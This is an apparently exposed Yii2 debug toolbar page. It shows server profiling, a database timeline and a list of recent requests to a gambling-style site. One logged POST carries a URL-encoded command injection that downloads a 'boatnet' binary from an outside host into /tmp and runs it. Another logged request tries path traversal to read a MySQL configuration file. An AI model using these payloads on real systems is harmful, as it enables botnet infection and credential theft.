2.0.47
PHP
8.1.2-1ubuntu2.21
Log
103
Time
189 ms
Memory
1.636 MB
DB
5
23 ms
Events
39
Route
site/index
Status
200
Guest
Asset Bundles
5
Configuration
Logs
Profiling
Database
Events
Mail
Timeline
Dump
Router
Request
User
Asset Bundles
Prev
Next
All
Latest
Last 10
686ce5b46530e: GET http://mickey88indo.xyz/, 2025-07-08 04:32:36 pm, 172.70.147.135
686ce5aae85c7: GET http://mickey88indo.com/login, 2025-07-08 04:32:26 pm, 162.158.189.246
686ce5a9cd5f4: POST http://mickey88indo.com/register, 2025-07-08 04:32:25 pm, 162.158.163.115
686ce5a7ba4ed: POST http://mickey88indo.com/register, 2025-07-08 04:32:23 pm, 172.70.208.30
686ce5a41bed6: GET http://mickey88indo.com/register, 2025-07-08 04:32:20 pm, 162.158.88.79
686ce5a3887e6: GET http://mickey88indo.com/, 2025-07-08 04:32:19 pm, 104.23.175.135
686ce5269fcf8: GET http://mickey88indo.com/, 2025-07-08 04:30:14 pm, 104.23.175.63
686ce4b8ec32c: POST http://159.65.12.185:80/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F160.187.246.86%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2A%3B%20.%2Fboatnet.arm7%20tbk, 2025-07-08 04:28:24 pm, 144.172.115.127
686ce3cbd384c: GET http://mickey88indo.com/robots.txt, 2025-07-08 04:24:27 pm, 172.68.164.12
686ce28fd5a95: GET http://www.mickey88indo.xyz/login, 2025-07-08 04:19:11 pm, 162.158.108.56
686a6be7b7c5e: GET
http://159.65.12.185/?theme=..%2F..%2F..%2F..%2Fetc%2Fmysql%2Fmy.cnf
at 2025-07-06 07:28:23 pm by 216.73.216.227
Timeline - 189 ms
Duration ≥
ms
Category
Filter
0.0 ms
20.0 ms
40.0 ms
60.0 ms
80.0 ms
90.0 ms
110.0 ms
130.0 ms
150.0 ms
170.0 ms
1.64 MB
linslin\yii2\curl\Curl::_httpRequest
21.8 ms
/
1.04 MB
yii\db\Connection::open
20.6 ms
/
1.16 MB
yii\db\Command::query
3.0 ms
/
1.17 MB
yii\db\Command::query
12.5 ms
/
1.19 MB
yii\db\Command::query
4.9 ms
/
1.19 MB
yii\db\Command::query
1.1 ms
/
1.20 MB
yii\db\Command::query
1.6 ms
/
1.22 MB